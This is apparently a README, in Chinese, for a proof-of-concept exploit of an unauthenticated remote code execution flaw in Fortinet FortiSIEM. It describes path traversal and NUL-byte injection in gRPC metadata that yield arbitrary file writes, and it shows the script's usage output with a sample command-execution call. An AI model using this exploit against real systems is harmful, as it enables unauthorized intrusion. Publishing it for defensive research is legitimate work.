本仓库包含 CVE-2026-106173 的概念验证代码,该漏洞是 Fortinet FortiSIEM 中的一个未认证远程代码执行漏洞。
FortiSIEM 的 gRPC QueryResultReq 处理程序在处理不受信任的元数据时未进行正确的路径校验。通过在 gRPC 的 HTTP/2 和 HPACK 编码层中构造同时包含路径遍历序列(../)和 NUL 字节注入的元数据,攻击者可以向文件系统写入任意文件。
涵盖根本原因、利用细节和入侵指标的技术分析可在 Horizon3.ai 攻击研究博客上获取:
% python3 CVE-2026-106173.py -h
usage: CVE-2026-106173.py [-h] -t TARGET [-c COMMAND] [-p PORT] [--plaintext]
[--dry-run]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
IP or hostname of the FortiSIEM instance
-c COMMAND, --command COMMAND
Command to execute on the target
-p PORT, --port PORT FortiSIEM gRPC port (default: 27918)
--plaintext Use HTTP/2 without TLS
--dry-run Display the request without sending
执行任意命令:
python3 CVE-2026-106173.py -t 10.0.18.x -c 'id'
注意:执行是盲注式的,cron 任务触发执行我们覆盖的脚本最多需要 60 秒。
本软件纯粹出于学术研究和开发有效防御技术的目的而创建,除明确授权的情况外,不得用于攻击系统。项目维护者不对滥用行为承担任何责任。请负责任地使用。